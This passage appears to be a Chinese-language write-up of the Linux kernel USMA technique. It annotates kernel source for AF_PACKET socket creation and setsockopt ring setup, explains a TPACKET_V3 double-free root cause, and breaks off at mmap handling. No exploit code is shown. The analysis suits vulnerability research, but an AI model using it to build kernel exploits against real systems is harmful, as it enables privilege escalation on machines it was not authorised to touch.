// RESEARCH_TRANSMISSION ID: LINUX_KERNEL_USMA

Linux Kernel : USMA

USMA : USER SPEACE MAPPING ATTACK (用户空间映射攻击)

BEGIN_PAYLOAD 20260818

引用资料

https://blog.lzip.net/post/the_socket_syscall_of_linux_kernel

https://ltfa1l.top/2025/02/25/system/kernel/Linux_kernel8_USMA/#0x02-%E5%AE%9E%E9%99%85%E6%93%8D%E4%BD%9C

https://blingblingxuanxuan.github.io/2023/04/01/230401-n1ctf2022-pwn-praymoon/#%E5%85%B3%E4%BA%8EUSMA

https://vul.360.net/archives/391

https://xz.aliyun.com/news/16093

其他知识

详解RCU机制

一文带你深入解析Linux内核-RCU机制(超详细~)

socket系统调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <sys/types.h>
#include <sys/socket.h>

// #define __NR_socket 41

int socket(int family, int type, int protocol);
/*
socket() 建立一个用于交流的端点并且返回一个描述符
family: 协议族(在一些man文档中该参数又被称为domain)
AF_INET:IPv4地址族
AF_INET6:IPv6地址族
AF_UNIX:用于本地通信的Unix域套接字(IPC)
type :套接字类型
SOCK_STREAM:字节流(TCP)
SOCK_DGRAM:无连接的数据报(UDP)
SOCK_RAW:原始套接字,可以直接访问底层协议(ip)
protocol:协议
*/

socket定义

socket()调用sock_create()创建内核socket对象, 调用sock_map_fd()socket对象映射成fd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// net/socket.c

// socket系统调用的实现
SYSCALL_DEFINE3(socket, int, family, int, type, int, protocol)
{
return __sys_socket(family, type, protocol);
}
int __sys_socket(int family, int type, int protocol)
{
struct socket *sock;
int flags;

// 创建socket变量
sock = __sys_socket_create(family, type, protocol);
if (IS_ERR(sock))
return PTR_ERR(sock);

flags = type & ~SOCK_TYPE_MASK;
if (SOCK_NONBLOCK != O_NONBLOCK && (flags & SOCK_NONBLOCK))
flags = (flags & ~SOCK_NONBLOCK) | O_NONBLOCK;

// 将socket映射为文件,可以在/proc/<pid>/fd/目录下查找到
return sock_map_fd(sock, flags & (O_CLOEXEC | O_NONBLOCK));
}

创建socket

通过sock_alloc()分配socket结构体,然后通过传入的family获取协议模块,在通过协议模块的ops(pf->create),来初始化socket

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
// net/socket.c

// https://elixir.bootlin.com/linux/v5.19.17/source/net/socket.c#L1588
static struct socket *__sys_socket_create(int family, int type, int protocol)
{
struct socket *sock;
int retval;

/* Check the SOCK_* constants for consistency. */
BUILD_BUG_ON(SOCK_CLOEXEC != O_CLOEXEC);
BUILD_BUG_ON((SOCK_MAX | SOCK_TYPE_MASK) != SOCK_TYPE_MASK);
BUILD_BUG_ON(SOCK_CLOEXEC & SOCK_TYPE_MASK);
BUILD_BUG_ON(SOCK_NONBLOCK & SOCK_TYPE_MASK);

if ((type & ~SOCK_TYPE_MASK) & ~(SOCK_CLOEXEC | SOCK_NONBLOCK))
return ERR_PTR(-EINVAL);
type &= SOCK_TYPE_MASK;

// 创建socket,将变量地址保存到sock指针变量中,其余三个参数是应用层传入的。
retval = sock_create(family, type, protocol, &sock);
if (retval < 0)
return ERR_PTR(retval);

return sock;
}

// https://elixir.bootlin.com/linux/v5.19.17/source/net/socket.c#L1564
int sock_create(int family, int type, int protocol, struct socket **res)
{ // 当前进程所在的网络命名空间 net_ns, kern:0:普通用户上下文创建, 1:内核内部创建 socket
return __sock_create(current->nsproxy->net_ns, family, type, protocol, res, 0);
}
EXPORT_SYMBOL(sock_create);

// https://elixir.bootlin.com/linux/v5.19.17/source/net/socket.c#L1444
int __sock_create(struct net *net, int family, int type, int protocol,
struct socket **res, int kern)
{
int err;
struct socket *sock;
const struct net_proto_family *pf;

/*
* Check protocol is in range
*/
if (family < 0 || family >= NPROTO)
return -EAFNOSUPPORT;
if (type < 0 || type >= SOCK_MAX)
return -EINVAL;

/* Compatibility.

This uglymoron is moved from INET layer to here to avoid
deadlock in module load.
*/
if (family == PF_INET && type == SOCK_PACKET) {
pr_info_once("%s uses obsolete (PF_INET,SOCK_PACKET)\n",
current->comm);
family = PF_PACKET;
}
// Linux Security Module安全检查
err = security_socket_create(family, type, protocol, kern);
if (err)
return err;

/*
* Allocate the socket and allow the family to set things up. if
* the protocol is 0, the family is instructed to select an appropriate
* default.
*/
// 分配socket对象
sock = sock_alloc();
if (!sock) {
net_warn_ratelimited("socket: no more sockets\n");
return -ENFILE; /* Not exactly a match, but its the
closest posix thing */
}
// 设置用户层传入的协议类型,还需要通过protocol变量来确定
sock->type = type;

#ifdef CONFIG_MODULES
/* Attempt to load a protocol module if the find failed.
*
* 12/09/1996 Marcin: But! this makes REALLY only sense, if the user
* requested real, full-featured networking support upon configuration.
* Otherwise module support will break!
*/
// net_families是全局数组,保存各协议族的注册入口
if (rcu_access_pointer(net_families[family]) == NULL)
request_module("net-pf-%d", family);
#endif

rcu_read_lock();
/*
* 根据用户层传入的family获得指定协议族对应的net_proto_family变量(内部包含了create函数指针,下面会调用到该函数),
* 内核会在网络子系统的初始化中调用sock_register函数来将各种协议族注册到net_families中。
*/
pf = rcu_dereference(net_families[family]);
err = -EAFNOSUPPORT;
if (!pf)
goto out_release;

/*
* We will call the ->create function, that possibly is in a loadable
* module, so we have to bump that loadable module refcnt first.
*/
// 给协议族模块加引用计数
if (!try_module_get(pf->owner))
goto out_release;

/* Now protected by module ref count */
rcu_read_unlock();
// 调用指定协议族的创建函数,对于AF_INET协议族而言是net/ipv4/af_inet.c#inet_create函数
err = pf->create(net, sock, protocol, kern);
if (err < 0)
goto out_module_put;

/*
* Now to bump the refcnt of the [loadable] module that owns this
* socket at sock_release time we decrement its refcnt.
*/
// 给 sock->ops->owner 加引用计数
if (!try_module_get(sock->ops->owner))
goto out_module_busy;

/*
* Now that we're done with the ->create function, the [loadable]
* module can have its refcnt decremented
*/
module_put(pf->owner);
// 创建后的安全检查
err = security_socket_post_create(sock, family, type, protocol, kern);
if (err)
goto out_sock_release;
*res = sock;

return 0;

out_module_busy:
err = -EAFNOSUPPORT;
out_module_put:
sock->ops = NULL;
module_put(pf->owner);
out_sock_release:
sock_release(sock);
return err;

out_release:
rcu_read_unlock();
goto out_sock_release;
}
EXPORT_SYMBOL(__sock_create);

初始化协议族

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// net/socket.c

// https://elixir.bootlin.com/linux/v5.19.17/source/net/packet/af_packet.c#L4734
static int __init packet_init(void)
{
int rc;

rc = proto_register(&packet_proto, 0);
if (rc)
goto out;
rc = sock_register(&packet_family_ops);
if (rc)
goto out_proto;
rc = register_pernet_subsys(&packet_net_ops);
if (rc)
goto out_sock;
rc = register_netdevice_notifier(&packet_netdev_notifier);
if (rc)
goto out_pernet;

return 0;

out_pernet:
unregister_pernet_subsys(&packet_net_ops);
out_sock:
sock_unregister(PF_PACKET);
out_proto:
proto_unregister(&packet_proto);
out:
return rc;
}

注册协议族

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// https://elixir.bootlin.com/linux/v5.19.17/source/net/socket.c#L3110
int sock_register(const struct net_proto_family *ops)
{
int err;

if (ops->family >= NPROTO) {
pr_crit("protocol %d >= NPROTO(%d)\n", ops->family, NPROTO);
return -ENOBUFS;
}

spin_lock(&net_family_lock);
// 检查是否已经注册过
if (rcu_dereference_protected(net_families[ops->family],
lockdep_is_held(&net_family_lock)))
err = -EEXIST;
else {
// net_families[family] = ops;
rcu_assign_pointer(net_families[ops->family], ops);
err = 0;
}
spin_unlock(&net_family_lock);

pr_info("NET: Registered %s protocol family\n", pf_family_names[ops->family]);
return err;
}
EXPORT_SYMBOL(sock_register);

static const struct net_proto_family packet_family_ops = {
.family = PF_PACKET,
.create = packet_create,
.owner = THIS_MODULE,
};

packet_create

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
static int packet_create(struct net *net, struct socket *sock, int protocol,
int kern)
{
struct sock *sk;
struct packet_sock *po;
__be16 proto = (__force __be16)protocol; /* weird, but documented */
int err;

if (!ns_capable(net->user_ns, CAP_NET_RAW))
return -EPERM;
if (sock->type != SOCK_DGRAM && sock->type != SOCK_RAW &&
sock->type != SOCK_PACKET)
return -ESOCKTNOSUPPORT;
// 初始为未连接状态SS_UNCONNECTED
sock->state = SS_UNCONNECTED;

err = -ENOBUFS;
// 分配底层 struct sock
sk = sk_alloc(net, PF_PACKET, GFP_KERNEL, &packet_proto, kern);
if (sk == NULL)
goto out;
// 选择这类 socket 的操作表
sock->ops = &packet_ops;
if (sock->type == SOCK_PACKET) // 数据套接字包使用特定的包ops
sock->ops = &packet_ops_spkt;
// 绑定
sock_init_data(sock, sk);

po = pkt_sk(sk); // 获取packet_sock
init_completion(&po->skb_completion); // 初始化skb_completion,用于数据包接收的同步
sk->sk_family = PF_PACKET;
po->num = proto;
po->xmit = dev_queue_xmit;

err = packet_alloc_pending(po);
if (err)
goto out2;

packet_cached_dev_reset(po);

sk->sk_destruct = packet_sock_destruct;
sk_refcnt_debug_inc(sk);

/*
* Attach a protocol block
*/

spin_lock_init(&po->bind_lock);
mutex_init(&po->pg_vec_lock);
po->rollover = NULL;
po->prot_hook.func = packet_rcv;

if (sock->type == SOCK_PACKET)
po->prot_hook.func = packet_rcv_spkt;

po->prot_hook.af_packet_priv = sk;
po->prot_hook.af_packet_net = sock_net(sk);

if (proto) {
po->prot_hook.type = proto;
__register_prot_hook(sk);
}

mutex_lock(&net->packet.sklist_lock);
sk_add_node_tail_rcu(sk, &net->packet.sklist);
mutex_unlock(&net->packet.sklist_lock);

sock_prot_inuse_add(net, &packet_proto, 1);

return 0;
out2:
sk_free(sk);
out:
return err;
}
// net/packet/af_packet.c
// https://elixir.bootlin.com/linux/v5.19.17/source/net/packet/af_packet.c#L4611
static const struct proto_ops packet_ops = {
.family = PF_PACKET,
.owner = THIS_MODULE,
.release = packet_release,
.bind = packet_bind,
.connect = sock_no_connect,
.socketpair = sock_no_socketpair,
.accept = sock_no_accept,
.getname = packet_getname,
.poll = packet_poll,
.ioctl = packet_ioctl,
.gettstamp = sock_gettstamp,
.listen = sock_no_listen,
.shutdown = sock_no_shutdown,
.setsockopt = packet_setsockopt,
.getsockopt = packet_getsockopt,
.sendmsg = packet_sendmsg,
.recvmsg = packet_recvmsg,
.mmap = packet_mmap,
.sendpage = sock_no_sendpage,
};

将socket映射为文件

分配一个fd,创建socket对应的struct file对象,建立fd与struct file对象的关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// net/socket.c
//https://elixir.bootlin.com/linux/v5.19.17/source/net/socket.c#L478
static int sock_map_fd(struct socket *sock, int flags)
{
struct file *newfile;
// 获取一个未被使用过的fd
int fd = get_unused_fd_flags(flags);
if (unlikely(fd < 0)) {
sock_release(sock);
return fd;
}

// 创建socket对应的file对象
newfile = sock_alloc_file(sock, flags, NULL);
if (!IS_ERR(newfile)) {
// 建立fd与struct file变量的关系
fd_install(fd, newfile);
return fd;
}

put_unused_fd(fd);
return PTR_ERR(newfile);
}

创建file对象

在sock_alloc_file函数中,会调用alloc_file_pseudo来在伪文件系统(proc伪文件系统)中分配一个伪文件,设置的文件操作函数集是socket_file_ops,以便VFS层调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// net/socket.c
// https://elixir.bootlin.com/linux/v5.19.17/source/net/socket.c#L456
struct file *sock_alloc_file(struct socket *sock, int flags, const char *dname)
{
struct file *file;

if (!dname)
dname = sock->sk ? sock->sk->sk_prot_creator->name : "";

// 分配一个伪文件
file = alloc_file_pseudo(SOCK_INODE(sock), sock_mnt, dname,
O_RDWR | (flags & O_NONBLOCK),
// 这里传入的是socket_file_ops,该结构体变量封装了socket的操作函数。
&socket_file_ops);
if (IS_ERR(file)) {
sock_release(sock);
return file;
}

/*
* 建立struct socket与struct file的关系,两者互相引用。
* 这样当应用层传入fd的时候就很容易能够找到socket变量。
*/
sock->file = file;
file->private_data = sock;
stream_open(SOCK_INODE(sock), file);
return file;
}

// https://elixir.bootlin.com/linux/v5.19.17/source/net/socket.c#L151
static const struct file_operations socket_file_ops = {
.owner = THIS_MODULE,
.llseek = no_llseek,
.read_iter = sock_read_iter,
.write_iter = sock_write_iter,
.poll = sock_poll,
.unlocked_ioctl = sock_ioctl,
#ifdef CONFIG_COMPAT
.compat_ioctl = compat_sock_ioctl,
#endif
.mmap = sock_mmap,
.release = sock_close,
.fasync = sock_fasync,
.sendpage = sock_sendpage,
.splice_write = generic_splice_sendpage,
.splice_read = sock_splice_read,
.show_fdinfo = sock_show_fdinfo,
};

漏洞分析

setsockopt系统调用

配置套接字参数的系统调用,允许开发者调整套接字的行为特性

1
2
3
4
5
6
7
8
9
10
11
12
#include <sys/socket.h>

// #define __NR_setsockopt 54

int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen);
/*
sockfd:套接字描述符
level:指定选项所在的协议层
optname:要设置的选项名称,不同层次有不同的选项
optval:缓冲区指针
optlen:缓冲区大小
*/

setsockopt

1
2
3
4
5
6
7
8
// net/socket.c
// setsockopt系统调用实现
// https://elixir.bootlin.com/linux/v5.19.17/source/net/socket.c#L2265
SYSCALL_DEFINE5(setsockopt, int, fd, int, level, int, optname,
char __user *, optval, int, optlen)
{
return __sys_setsockopt(fd, level, optname, optval, optlen);
}

__sys_setsockopt

根据fd找到关联的socket,两种模式来进行setsockopt,走“通用 socket 层”或]还是“具体协议实现”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// net/socket.c
// https://elixir.bootlin.com/linux/v5.19.17/source/net/socket.c#L2265
int __sys_setsockopt(int fd, int level, int optname, char __user *user_optval,
int optlen)
{
sockptr_t optval = USER_SOCKPTR(user_optval); // 统一“用户指针/内核指针”抽象
char *kernel_optval = NULL;
int err, fput_needed;
struct socket *sock;

if (optlen < 0)
return -EINVAL;
// 从 fd 找到 socket
sock = sockfd_lookup_light(fd, &err, &fput_needed);
if (!sock)
return err;
// Linux Security Module 安全检查
err = security_socket_setsockopt(sock, level, optname);
if (err)
goto out_put;

if (!in_compat_syscall())
err = BPF_CGROUP_RUN_PROG_SETSOCKOPT(sock->sk, &level, &optname,
user_optval, &optlen,
&kernel_optval);
if (err < 0)
goto out_put;
if (err > 0) {
err = 0;
goto out_put;
}
// 如果 BPF 生成了内核缓冲区,切换 optval 来源
if (kernel_optval)
optval = KERNEL_SOCKPTR(kernel_optval);
// 核心分发:“通用 socket 层”或“具体协议实现”
// 使用漏洞的时候需要level==SOL_PACKET
if (level == SOL_SOCKET && !sock_use_custom_sol_socket(sock))
err = sock_setsockopt(sock, level, optname, optval, optlen);
else if (unlikely(!sock->ops->setsockopt))
err = -EOPNOTSUPP;
else
err = sock->ops->setsockopt(sock, level, optname, optval,
optlen);
kfree(kernel_optval);
out_put:
fput_light(sock->file, fput_needed);
return err;
}

packet_setsockopt

AF_PACKET 套接字对 setsockopt() 的协议私有处理函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
// net/packet/af_packet.c
// https://elixir.bootlin.com/linux/v5.19.17/source/net/packet/af_packet.c#L4611
static const struct proto_ops packet_ops = {
.family = PF_PACKET,
.owner = THIS_MODULE,
.release = packet_release,
.bind = packet_bind,
.connect = sock_no_connect,
.socketpair = sock_no_socketpair,
.accept = sock_no_accept,
.getname = packet_getname,
.poll = packet_poll,
.ioctl = packet_ioctl,
.gettstamp = sock_gettstamp,
.listen = sock_no_listen,
.shutdown = sock_no_shutdown,
.setsockopt = packet_setsockopt,
.getsockopt = packet_getsockopt,
.sendmsg = packet_sendmsg,
.recvmsg = packet_recvmsg,
.mmap = packet_mmap,
.sendpage = sock_no_sendpage,
};

// https://elixir.bootlin.com/linux/v5.19.17/source/net/packet/af_packet.c#L3754
static int
packet_setsockopt(struct socket *sock, int level, int optname, sockptr_t optval,
unsigned int optlen)
{
struct sock *sk = sock->sk; // 通用协议栈 socket
struct packet_sock *po = pkt_sk(sk);
int ret;
// 检查是否SOL_PACKET
if (level != SOL_PACKET)
return -ENOPROTOOPT;
// optname菜单
switch (optname) {
// ...
// 处理mmap ring的设置
case PACKET_RX_RING:
case PACKET_TX_RING:
{
union tpacket_req_u req_u;
int len;

lock_sock(sk);
// 匹配不同TPACKET_V*版本的请求结构
switch (po->tp_version) {
case TPACKET_V1:
case TPACKET_V2:
len = sizeof(req_u.req);
break;
case TPACKET_V3:
default:
len = sizeof(req_u.req3);
break;
}
if (optlen < len) {
ret = -EINVAL;
} else {
if (copy_from_sockptr(&req_u.req, optval, len)) // 复制数据到req_u.req
ret = -EFAULT;
else
ret = packet_set_ring(sk, &req_u, 0,
optname == PACKET_TX_RING); // 设置mmap ring
}
release_sock(sk);
return ret;
}

// ...
}

packet socket是 Linux 的 链路层原始收发接口,可以让用户在设备驱动层接受和发送raw packets,并且为了加速数据报文的拷贝,它允许用户创建一块与内核态共享的环形缓冲区

packet_set_ring

重点在TPACKET_V3版本的时候,调用init_prb_bdqc()初始化的时候, packet_ring_buffer.prb_bdqc.pkbdq持有一个pg_vec引用,并且后期释放pg_vec并没有清除引用,导致可以double free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
// net/packet/af_packet.c
// https://elixir.bootlin.com/linux/v5.19.17/source/net/packet/af_packet.c#L4362
/*
sk:packet socket 的底层 struct sock
req_u:用户传入的 ring 配置请求,联合体,兼容 V1/V2/V3
closing:是否是在关闭/清理路径中调用
tx_ring:0 表示 RX ring,1 表示 TX ring
*/
static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
int closing, int tx_ring)
{
struct pgv *pg_vec = NULL; // 指向页面向量的指针
struct packet_sock *po = pkt_sk(sk);
unsigned long *rx_owner_map = NULL; // 接收缓冲区所有者的映射
int was_running, order = 0;
struct packet_ring_buffer *rb; // 环形缓冲区指针
struct sk_buff_head *rb_queue;
__be16 num;
int err;
/* Added to avoid minimal code churn */
struct tpacket_req *req = &req_u->req; // 请求结构体指针
// 根据接收或者发送选择ring
rb = tx_ring ? &po->tx_ring : &po->rx_ring;
rb_queue = tx_ring ? &sk->sk_write_queue : &sk->sk_receive_queue;

// 忙状态检查
err = -EBUSY;
if (!closing) {
// 表示当前 ring 是否已经被 mmap() 到用户态
if (atomic_read(&po->mapped))
goto out;
// 是否ring 上还有挂起的读/处理状态
if (packet_read_pending(rb))
goto out;
}
// tp_block_nr -> 请求的块(是一个或多个内存页的大小,由 tp_block_size 指定)数量
if (req->tp_block_nr) {
unsigned int min_frame_size;

/* Sanity tests and some calculations */
err = -EBUSY;
// 缓冲区页面已经存在
if (unlikely(rb->pg_vec))
goto out;
// 根据版本来选择头长度
switch (po->tp_version) {
case TPACKET_V1:
po->tp_hdrlen = TPACKET_HDRLEN;
break;
case TPACKET_V2:
po->tp_hdrlen = TPACKET2_HDRLEN;
break;
case TPACKET_V3:
po->tp_hdrlen = TPACKET3_HDRLEN;
break;
}

err = -EINVAL;
// tp_block_size块大小要大于0
if (unlikely((int)req->tp_block_size <= 0))
goto out;
// 块大小是否对齐
if (unlikely(!PAGE_ALIGNED(req->tp_block_size)))
goto out;

/* tp_hdrlen -> 数据包头长度
tp_reserve -> 帧保留的额外空间
min_frame_size 最小帧size=头长度+保留空间大小
*/
min_frame_size = po->tp_hdrlen + po->tp_reserve;
// 版本大于等于V3 的时候 块size要有空闲
if (po->tp_version >= TPACKET_V3 &&
req->tp_block_size <
BLK_PLUS_PRIV((u64)req_u->req3.tp_sizeof_priv) + min_frame_size)
goto out;
// 请求帧大小 要大于 最小帧size
if (unlikely(req->tp_frame_size < min_frame_size))
goto out;
// 请求帧size 的对齐 0x10对齐
if (unlikely(req->tp_frame_size & (TPACKET_ALIGNMENT - 1)))
goto out;
// frames_per_block -> 每个块的帧数(块中能容纳的帧数量)
rb->frames_per_block = req->tp_block_size / req->tp_frame_size;
if (unlikely(rb->frames_per_block == 0))
goto out;
// 块的帧数*请求块数量 > 0xffffffff 请求的帧数不能超过UINT_MAX
if (unlikely(rb->frames_per_block > UINT_MAX / req->tp_block_nr))
goto out;
// 块容纳的帧数 * 请求块数量 != 请求帧数 (既 请求帧数==帧数量)
if (unlikely((rb->frames_per_block * req->tp_block_nr) !=
req->tp_frame_nr))
goto out;

err = -ENOMEM;
order = get_order(req->tp_block_size);
// 分配页面向量(page数组)
pg_vec = alloc_pg_vec(req, order);
if (unlikely(!pg_vec))
goto out;
// 根据版本号来初始化->环形缓冲区
switch (po->tp_version) {
case TPACKET_V3:
/* Block transmit is not supported yet */
// V3 tx_ring 不支持块传输
if (!tx_ring) {
// 初始化块描述队列
// 漏洞处
init_prb_bdqc(po, rb, pg_vec, req_u);
} else {
struct tpacket_req3 *req3 = &req_u->req3;

if (req3->tp_retire_blk_tov ||
req3->tp_sizeof_priv ||
req3->tp_feature_req_word) {
err = -EINVAL;
goto out_free_pg_vec;
}
}
break;
default:
if (!tx_ring) {
// V1/V2 RX ring:rx_owner_map接收缓冲区所有者的映射
rx_owner_map = bitmap_alloc(req->tp_frame_nr,
GFP_KERNEL | __GFP_NOWARN | __GFP_ZERO);
if (!rx_owner_map)
goto out_free_pg_vec;
}
break;
}
}
/* Done */
else {
err = -EINVAL;
if (unlikely(req->tp_frame_nr))
goto out;
}

/* Detach socket from network */
// 把 socket 从网络路径摘掉
spin_lock(&po->bind_lock);
was_running = po->running;
num = po->num;
if (was_running) {
WRITE_ONCE(po->num, 0);
__unregister_prot_hook(sk, false);
}
spin_unlock(&po->bind_lock);

synchronize_net();
// 缓冲区设置完成后,更新结构和状态
err = -EBUSY;
mutex_lock(&po->pg_vec_lock);
if (closing || atomic_read(&po->mapped) == 0) {
err = 0;
spin_lock_bh(&rb_queue->lock);
swap(rb->pg_vec, pg_vec); // 取出原先的pg_vec ,然后释放
if (po->tp_version <= TPACKET_V2) // 版本小于等于V2
swap(rb->rx_owner_map, rx_owner_map); // 取出原先的接收的,然后释放
// ...
}
// ...

out_free_pg_vec:
if (pg_vec) {
bitmap_free(rx_owner_map);
free_pg_vec(pg_vec, order, req->tp_block_nr);
}
out:
return err;
}

init_prb_bdqc

TPACKET_V3 的 RX ring 控制核心初始化函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// net/packet/af_packet.c
// https://elixir.bootlin.com/linux/v5.19.17/source/net/packet/af_packet.c#L611
static void init_prb_bdqc(struct packet_sock *po,
struct packet_ring_buffer *rb,
struct pgv *pg_vec,
union tpacket_req_u *req_u)
{
struct tpacket_kbdq_core *p1 = GET_PBDQC_FROM_RB(rb);
struct tpacket_block_desc *pbd;

memset(p1, 0x0, sizeof(*p1));

p1->knxt_seq_num = 1;
p1->pkbdq = pg_vec; // 这里packet_ring_buffer.prb_bdqc.pkbdq持有一个pg_vec引用
pbd = (struct tpacket_block_desc *)pg_vec[0].buffer;
p1->pkblk_start = pg_vec[0].buffer;
p1->kblk_size = req_u->req3.tp_block_size;
p1->knum_blocks = req_u->req3.tp_block_nr;
p1->hdrlen = po->tp_hdrlen;
p1->version = po->tp_version;
p1->last_kactive_blk_num = 0;
po->stats.stats3.tp_freeze_q_cnt = 0;
if (req_u->req3.tp_retire_blk_tov)
p1->retire_blk_tov = req_u->req3.tp_retire_blk_tov;
else
p1->retire_blk_tov = prb_calc_retire_blk_tmo(po,
req_u->req3.tp_block_size);
p1->tov_in_jiffies = msecs_to_jiffies(p1->retire_blk_tov);
p1->blk_sizeof_priv = req_u->req3.tp_sizeof_priv;
rwlock_init(&p1->blk_fill_in_prog_lock);

p1->max_frame_len = p1->kblk_size - BLK_PLUS_PRIV(p1->blk_sizeof_priv);
prb_init_ft_ops(p1, req_u);
prb_setup_retire_blk_timer(po);
prb_open_block(p1, pbd);
}

rx_power_map和pkbdq

首先进行释放pg_vec的操作,packet_ring_buffer.prb_bdqc.pkbdq仍然持有被释放pg_vec,然后将packet socket的版本切换为TPACKET_V2并且再次设置缓冲区的时候,原本保存在pkbdqpg_vec会被当做rx_owner_map再次释放,造成double free,因为在rx_owner_mapprb_bdqc为一个联合体,偏移相同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
// net/packet/internal.h
// https://elixir.bootlin.com/linux/v5.19.17/source/net/packet/internal.h#L59
struct packet_ring_buffer {
struct pgv *pg_vec;

unsigned int head;
unsigned int frames_per_block;
unsigned int frame_size;
unsigned int frame_max;

unsigned int pg_vec_order;
unsigned int pg_vec_pages;
unsigned int pg_vec_len;

unsigned int __percpu *pending_refcnt;

union {
unsigned long *rx_owner_map;
struct tpacket_kbdq_core prb_bdqc;
};
};

// https://elixir.bootlin.com/linux/v5.19.17/source/net/packet/internal.h#L17
struct tpacket_kbdq_core {
struct pgv *pkbdq;
unsigned int feature_req_word;
unsigned int hdrlen;
unsigned char reset_pending_on_curr_blk;
unsigned char delete_blk_timer;
unsigned short kactive_blk_num;
unsigned short blk_sizeof_priv;

/* last_kactive_blk_num:
* trick to see if user-space has caught up
* in order to avoid refreshing timer when every single pkt arrives.
*/
unsigned short last_kactive_blk_num;

char *pkblk_start;
char *pkblk_end;
int kblk_size;
unsigned int max_frame_len;
unsigned int knum_blocks;
uint64_t knxt_seq_num;
char *prev;
char *nxt_offset;
struct sk_buff *skb;

rwlock_t blk_fill_in_prog_lock;

/* Default is set to 8ms */
#define DEFAULT_PRB_RETIRE_TOV (8)

unsigned short retire_blk_tov;
unsigned short version;
unsigned long tov_in_jiffies;

/* timer to retire an outstanding block */
struct timer_list retire_blk_timer;
};

alloc_pg_vec

pg_vec的大小为我们可控(block_nr),因此我们可以申请得到几乎任意大小的堆块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// net/packet/af_packet.c
// https://elixir.bootlin.com/linux/v5.19.17/source/net/packet/af_packet.c#L4337
static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)
{
unsigned int block_nr = req->tp_block_nr;
struct pgv *pg_vec;
int i;
// 根据请求块大小申请
pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __GFP_NOWARN);
if (unlikely(!pg_vec))
goto out;
// 为每个 pg_vec[i] 分配一个页面
for (i = 0; i < block_nr; i++) {
pg_vec[i].buffer = alloc_one_pg_vec_page(order);
if (unlikely(!pg_vec[i].buffer))
goto out_free_pgvec;
}

out:
return pg_vec;

out_free_pgvec:
free_pg_vec(pg_vec, order, block_nr);
pg_vec = NULL;
goto out;
}

mmap系统调用

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <sys/mman.h>

#define __NR_mmap 9

void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
/*
addr: 需要映射的虚拟地址
length: 映射长度
prot: 映射的访问权限
flags: 映射方式
fd: 被映射对象的文件描述符
offset: 映射起始偏移
*/

mmap

1
2
3
4
5
6
7
8
9
10
11
// arch/x86/kernel/sys_x86_64.c
// https://elixir.bootlin.com/linux/v5.19.17/source/arch/x86/kernel/sys_x86_64.c#L93
SYSCALL_DEFINE6(mmap, unsigned long, addr, unsigned long, len,
unsigned long, prot, unsigned long, flags,
unsigned long, fd, unsigned long, off)
{
if (off & ~PAGE_MASK)
return -EINVAL;

return ksys_mmap_pgoff(addr, len, prot, flags, fd, off >> PAGE_SHIFT);
}

ksys_mmap_pgoff

预处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
